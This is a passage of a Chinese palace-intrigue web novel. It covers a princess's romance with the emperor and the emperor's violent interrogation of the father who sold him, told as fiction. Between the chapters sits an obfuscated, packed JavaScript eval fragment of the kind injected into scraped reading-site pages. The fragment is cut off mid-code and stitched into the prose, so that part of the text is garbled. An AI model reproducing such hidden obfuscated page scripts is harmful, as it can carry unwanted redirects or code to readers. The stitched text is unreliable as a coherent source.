明绰被他说得一愣。齐襄公的妹妹文姜与亲兄通奸,被丈夫鲁桓公发现。鲁桓公深责于文姜,被齐襄公在一怒之下杀害,造成齐鲁两国交恶,最后齐襄公自己也死于叛乱。萧盈以齐襄公自比,便是将她比作文姜了。萧盈对她的情意不同,她当然也有察觉,但这还是萧盈第一次说这样的话,偏偏挑了个史上出了名的红颜祸水来比。明绰气得想打他,咬着下唇,一时竟然想不出反驳的话。若是提出她与萧盈并非亲兄妹,就有承认私情之嫌。但真要她横眉竖眼,义正言辞地驳了这私情,她心里也不愿意。她左右为难,萧盈还紧紧盯着她看,见她不说话,便明白了什么似的,唇边露出了一个几不可见的微笑。 明绰真恼了,脱口而出:“怕的是你还不如他,没本事杀鲁桓公!” 她说完才发觉更不对,这不是把乌兰徵也说进来了吗?大燕的国书还没回来,婚事还没定下,她倒先急着拿乌兰徵的骁勇善战来说嘴了。这话听着又像是她迫切想嫁给乌兰徵,又像是她鼓动萧盈去暗杀乌兰徵,简直比文姜祸水百倍。萧盈还是看着她,没说话。明绰自己脸红得发烫,恨不得把舌头都咽下去,转头就想逃。 萧盈突然伸出手拉住了她的手腕。明绰被他用力一拽,一下子失去平衡,整个人撞进了萧盈怀里。她还想挣扎,但是萧盈的手轻轻搭到了她的后颈上,明绰觉得全身都酥了一下似的,不动了。 萧盈抱过她很多次。以前年龄小,又是当成亲兄妹相处,这些都不算什么。他不肯脱血衣,高烧到像癔症一般的时候,明绰也是直接爬到他床上,紧紧地把他抱在怀里安慰。可唯独这次不一样,萧盈甚至抱得不怎么紧,却让她比任何时候都动弹不得。 “朕比齐襄公强,”萧盈在她耳边说,“从一开始就不会让你嫁去鲁国。” “是大燕。”明绰轻声纠正他,好像怕他弄错这个重要的事情。萧盈在她耳边笑了,温热的鼻息拂在她耳畔,让她觉得半边身子都麻掉了,不自觉地伸出手,环住了萧盈的腰。然后又想起来什么,在萧盈怀里东张西望的。 “看什么?” 明绰探出来一双眼睛:“桓湛呢?” 萧盈不答,只是把手搭到她后脑,不许她多动。可是明绰不知道又想起什么,突然“嗤”一声笑了。萧盈终于把人放开,皱着眉头看她。 明绰的脸还是红红的,眼睛晶亮,突然说:“你从前还说,要学孝康皇帝。” 萧盈的眉头皱得更 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明绰也不再是开玩笑的口吻了:“若我要你不计较母后做过的一切,是不是太强人所难了?” 萧盈面色如常,继续拉着她的手往前走,只道:“要你一心为朕才是‘强人所难’。已得真心如此,朕不会强求。” 明绰的眼睛顿时一亮,脚下踩了云似的,轻飘飘地跟在他身边。 “其实母后心里对太父也很不满了,只是终究碍于他是父亲……”明绰小心翼翼地开口,“有些事情上,皇兄也可以和母后一条心嘛……” “比如?”萧盈笑着看她,“嫁鲁桓公这样的事?” 明绰装模作样地摸了摸鼻子。她确实是这么想的,但又觉得私心太重了有点儿不好意思:“还有很多别的事情嘛……” 萧盈还是那句话:“比如?” 这下明绰是真的“比如”不出来了。谢家父女之间还是共同的利益大过了矛盾,如果非要说有什么解不开的结,那就是谢郯一心支持正统,不喜欢女子掌权。那就又绕回到,太尉支持天子亲政,太后一心要天子的命了。 明绰想起宋夫人跟她说过的最后几句话。她认为太尉“独断却不残忍”,萧盈尚可以一争,太后才是绝对的狠辣,没有任何挽回的余地。她当时甘心跟着城门校尉走,应该是不想让自己成为萧盈和谢郯之间的裂痕。只是宫外等着她的只有这个丈夫,她看不到一点希望,才会爬上城楼。那个时候她并没有看见萧盈正狂奔而来,死在萧盈面前,激得萧盈拿出鱼死网破的姿态来跟太尉对抗,恐怕绝不是她的本意。 如今她还在这里劝萧盈跟太后和解,宋夫人泉下有知,怕是化成鬼都要来找她算账。 平心而论,明绰心里有一个角落其实是同意宋夫人的。谢郯并不残忍。他换掉了含清宫的人来警告天子,但原来的人也都没有怎么样。若是换成了谢拂霜,任之他们绝没有活的可能。谢郯也许是年纪大大了,也许是因为他迂腐,想做君子,什么原因都好吧。都说“妇人之仁”,明绰反而觉得,今日这样的局面,都是因为谢郯的“仁”。若换作谢拂霜,大局早就定了。 可这样的母亲,其实也让她无法接受。 明绰越想越觉得不舒服,方才的拥抱和轻松仿佛一个偷来的梦,并不真实。她轻轻地挣开了萧盈握住她的手,萧盈察觉到不对,转头看着她:“怎么了?” 明绰勉强地笑笑:“没什么,只是在想……” 她顿了顿,也不知道能如何说,只好换了个话题:“你是什么时候知道姊姊其实是你阿娘的?” “不记得了,很小的时候吧。”萧盈也不再瞒她,“小时候生病,她会抱着我唱歌,叫我燕奴……” 他的语气变得很柔软,连称呼也一并变了,好像他不再是天子,只是她的儿子。 明绰:“燕奴?” 萧盈点点头:“她以为我不会记得。有一次生病,我假装说胡话,问她为什么叫燕奴。她说我出生的时候,檐下正好有一窝新燕……” 明绰“嗯”了一声,明白了。春来回暖,才有燕子筑巢。可她的生辰——也是名义上萧盈的生辰,是在深秋时节。 萧盈停了下来,他们不知不觉已经走到了东长巷。明绰跟着他抬起头,看见巷尾那户人家,檐下燕巢竟然犹在。可是雨打风吹去,燕巢也早已只剩残枝几根。不知道明年春来,还会不会有燕子回来了。 “可是那时候,朕想做太后的儿子。”萧盈看着那燕巢,声音平静,“她再也没有叫过朕燕奴。” 26.第 26 章 程大武跌跌撞撞地推开房门,被自家门槛绊了一跤。酒劲涌上来,让他整个人晕乎乎的,在地上挣扎了半天都没起得来。程大武张嘴就喊婆娘,喊了半天也无人应,他这才想起来,那婆娘居然叫了娘家兄弟去堂上告他,如今已带着孩子回去了。 程大武趴在地上,痛快地骂了两句脏的,连带着小舅子、丈母娘一起,骂痛快了,才挣扎着从地上爬起来。 他今天让京兆尹打了板子,从背上到大腿无一处不疼,原说喝酒能少疼些,如今酒劲发上来,伤处胀痛得反而更厉害,火烧似的,肚内又饿,真是难过得要命。程大武“哎哟哎哟”地叫着,摸着黑往床头去。他不敢点灯,建康为防火灾,禁夜燃灯。这里离太尉府又近,巡逻得更严些,若是官吏从外头看见了火,还得再拖去打板子。 他刚要躺下,只听“哧啦”一声。有人坐在房中,擦亮火折子,点起了灯。 程大武吓得叫了一声娘,脚下一滑,跌了一跤。疑心是自己看错了,使劲揉了揉眼睛。那人隐在暗处,坐得动也不动,他叫了一声,那影子也不回,程大武便壮起胆子,往前凑了凑。一张极俊美的脸从黑暗中浮出,竟是个活人,眼睛一瞬不瞬地,正盯着他看。 “娘诶!”程大武骇得不轻,“什么人!” “我问,你答。”那人开了口,说得很简单,“不要有多余的话——你把儿子卖给福光寺的和尚,是哪一年?” “你,你到底是谁?闯进我家作甚!” “是正和七年十月,对不对?”那人问他,“你儿子当时多大?” 程大武没答,头上却已经冒了汗:“与你何干?” 一片静默。然后那人站了起来,脱离了灯能照到的范畴。程大武茫然地盯着烛后浓得化不开的黑暗,听声音好像是他去了灶头,不知道拿了什么东西。片刻之后,他回来了。程大武什么都没看清,只觉得腿上狠狠挨了一记,像是铁的烧火棍打了下来。他发出一声惨叫,在地上滚了两下。那人却再不打了,又坐了回去,一张脸重新从黑暗中透了出来。 “我儿子是正和六年春分的时候生的!”程大武老实了,“当时一岁半了!” 那人放下烧火棍:“卖了多少?” 程大武呜呜咽咽的:“三……三千钱。” 那人闻言低低地笑了一声,好像觉得这价钱低到可笑。程大武马上替自己辩驳起来:“家中穷得锅都揭不开了!三千钱能买十石米,还少一张嘴,这也都是没办法!” “所以宋氏为了赎回孩子,甘愿去福光寺自卖为奴?” “什么赎孩子!”程大武啐了一口,“孩子根本就不在福光寺了,我看就是图那和尚手里有几个铜钿,哼……” 那人打断他:“孩子为何不在福光寺?” “我怎么知道!”程大武龇牙咧嘴地站起来,捂着腿上被打疼的地方,一瘸一拐地往后退,“那和尚不是个好东西,见我婆娘有几分姿色,百般调戏作弄,就是不肯告诉她把孩子转手卖去哪里了……那婆娘也是贱!两人不知道背着我做了多少龌龊事,嘿,老子却叫他们当个龟儿——” 他话没说完,见那人一动,马上闭了嘴,直往后缩。 那人继续问:“那她又是怎么入的宫?” 程大武嘟嘟囔囔的,说不清楚,只斜着眼睛往灯下看,觉得那张脸越看越熟悉。 今日在堂上的时候,京兆尹身后设了一道屏风,没说两句话就悄摸地回头觑一眼,那神态,一看就是身后的官比他大多了。程大武跪在地上的时候从屏风的缝里偷看了两眼,那侧脸好像是跟这黑暗中的人有几分相似。 他背上猛地发了一层汗,赶紧跪了下来,“咚咚”给陌生人磕了两个头:“大人饶命!小的再不敢胡说了!” 那人的声音冷冷的:“说。” 程大武只好招来:“那婆娘在福光寺伺候了一阵子,有一日突然回来同小的说,太尉府那狎客遭祸了,福光寺那和尚不知为什么也被牵扯其中,她就猜,孩子肯定是和那狎客有关系,八成是被卖进太尉府了。那和尚逃跑以后,她就想法子托了太尉府的婆子,混进去烧饭……然后,然后……” “然后什么?” “她打听了一年多才听到一句闲话,太后生产那天,太尉府的马夫送那狎客抱了一个孩子进宫。那马夫被她灌多了酒,偷偷告诉她,太后其实只生了公主一个……”程大武说到这里连连磕头,“都是那婆娘想儿子想得失心疯了胡说八道的,小的不敢!小的不敢!” 那人还是沉默,任他磕头,半晌才问:“这是什么时候的事情?” “景平二年……快要三年的时候。”程大武哆哆嗦嗦,“小的不知道她怎么进的宫,她突然有一日就不见了……” 也就是说,在孩子被卖掉整整两年以后,她还在找。他一直以为,乳母是在谢拂霜怀有身孕的时候就找好的。可是景平二年,连明绰都已经两岁多了,宫里不会还要找乳母,而她那时也多半不会还有奶水了。 一个民女,到底要有多大的勇气和决心,才想到办法跨过那重重的宫墙来到他身边? 萧盈低下头,一行泪猝不及防地坠了下来,在黑暗里灼穿了十几年的光阴。 “你去接她了吗?”萧盈又问,“那天……” “去了!”程大武连忙答道,“可是小的在宫门外面等了一天也不见人……小的以为是来戏耍人的!她那么多年都不露面,小的以为她早就死了……” “那你知道她还活着,高兴吗?” 程大武抬起头,茫然地看着他:“自然是……高兴。” “她回来发现你已另娶,你想好怎么办了吗?” 程大武舔了舔舌头,脑子转得飞快,突然拍拍胸脯道:“那当然她才是原配夫人!她若愿意,把那小的留着做个洗脚婢,她若不高兴,我两棒子就把那臭婆娘打走了!” 萧盈笑了一声,程大武也跟着笑,涎着脸往上凑了凑。 “大人,那保太夫人的封赏……” 萧盈垂头看他一眼:“想要?” “夫妻一场啊!”程大武长叹一声,“她泉下有知,想必也舍不得见小的日子如此难过……” “保太夫人的赏赐算什么?”萧盈说得慢条斯理,唇边的笑意渐深,“你可是当今天子的生父,何不进宫去,一世荣华富贵不全都有了?” “照啊!”程大武一拍大腿,“我本就是这么想的!大人真是明理!” 他说得高兴,方才的恐惧和戒心都烟消云散,干脆和萧盈隔灯对坐,一边说还一边伸手拍萧盈的肩。多拍了两下,又突然察觉到什么,歪着头,凑着灯看萧盈的长相。 “大人长得……”程大武嘿嘿一声,“长得……” 萧盈还是笑:“像你?” 程大武突然愣住了。是像他,尤其是那笑。一双眼睛在昏暗的光下只剩黑,脸却苍白得不似活人,好像奈何桥下不肯往生的魂,从水中幽幽地向他露出笑容。程大武背上突然“唰”地出了一层冷汗,他想站起来走,受伤的腰腿却不听使唤,只能僵在那里,看着面前的人重新拾起了烧火棍。 “你……你……”程大武从椅子上翻下来,“啊!” 烧火棍精准地打在了他的膝盖上,只听“喀拉”一声,他痛得青筋绽出,发出凄厉的痛号。 “她闺名叫什么?”萧盈在他的痛呼声里平静地问了最后一个问题。 他从不知道。“姊姊”不过是小孩子亲昵的叫法,很多人都可以是“姊姊”。一直到她纵身一跃,她都从来没有听到他叫过一声“娘”。“夫人”也不是正式的封号,不过是因为她已嫁了人,所有人便都这样称呼。她注定没有名字,要面目模糊地坠落在司马门前看不到头的那条长长的路里。 “她叫玉桥……”他的手抓住了萧盈的脚腕,像条虫一样,在他脚下匍匐着。“饶了我!求求你!我是你的……” 萧盈低下头,漠然地看着他。他犯的罪行多么微末啊,杖刑已经是大雍律能给出的最严厉的刑罚。连皇帝下旨也没个像样的由头,徒引人注目。他本想让桓湛来,无声无息的,也给他个痛快。可是偏偏明绰今日是一个人出的宫,他只好让桓湛送她回去。 也好。萧盈抬起脚,想挣开他的手。但地上的人死死抱住,萧盈顺势踢了一脚,把人踢翻过去。程大武膝盖已经被打折,还有新鲜的杖疮,一时倒在地上,动弹不得,只看到那人手里举了灯,走了出去。门被掩上,紧紧地扣住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿嫂别慌。”外面没听出来,还以为是桓宜华。他的声音仍像个小孩子,腔调却十足像个大人,“我已命人把家里四面都看住,以防贼人趁乱。” “好。”桓宜华也站了起来,面上并无慌乱的样子,“你去瞧瞧,我阿兄回来不曾?” 袁綦应了一声,转身走远了。桓宜华安抚地拍拍明绰的手,明绰本想马上跑出去找萧盈,但是看到她这样镇定自若,又想着桓湛方才就出门去找人了,也只好按捺下来等着。 桓宜华让婢女给长公主重新上了一壶茶,自己告了个罪,去安抚了婆母两句。不过片刻,袁綦又来了,说桓湛还没回来,但他想带几个人去帮忙灭火,来请示阿嫂。桓宜华只说了一句“小心”,便不拦他。随后便开了匣,取了自己的剑,打开了房门,指挥下人们点灯照明,把四处都看牢,以防宵小趁火打劫。 袁府严阵以待,但外面并未出多大的乱子。不过两刻功夫,桓湛便带着萧盈来了,袁綦也跟在身后,一起回了府。 桓宜华马上迎着陛下坐到堂上。明绰本想跟他说话,但是萧盈一副不怎么熟的样子,从袖底朝她做了个手势。明绰这才想起来,袁綦并不认识她。刚才桓湛送她过来的时候,也没有惊动,袁綦都不知道大嫂屋里有客人。明绰亦步亦趋地跟在萧盈身边,他大约是把她当成从宫里跟出来的小黄门,连看也未多看一眼。 当初校场操练,他也跟着兄长去了,跟萧盈、桓湛混得都熟悉,也不怵君威,站在那儿跟桓宜华说,火势根本不大,无非是离太尉府太近了,夜巡的人才这么紧张。他带人赶到的时候,火都已经灭完了,就烧了一户人家。 明绰没忍住开口:“哪一户?” “巷尾那户。”袁綦回道。明绰马上转头看了萧盈一眼,但是萧盈镇定地喝着茶,好像他也不知道是什么情况。 明绰心里突然一坠。 桓宜华:“巷尾那家?那不是今日挨板子的泼皮家里吗?” “就是他。”袁綦转向嫂子,“听邻居说,这泼皮挨了打,反倒还要去喝酒。过了宵禁才回来,还在家中点灯,想是醉得不轻……” 桓宜华没忍住“哎呀”一声。 袁綦耸了耸肩,把话说完:“这不就走了水,倒把自己活活烧死了。”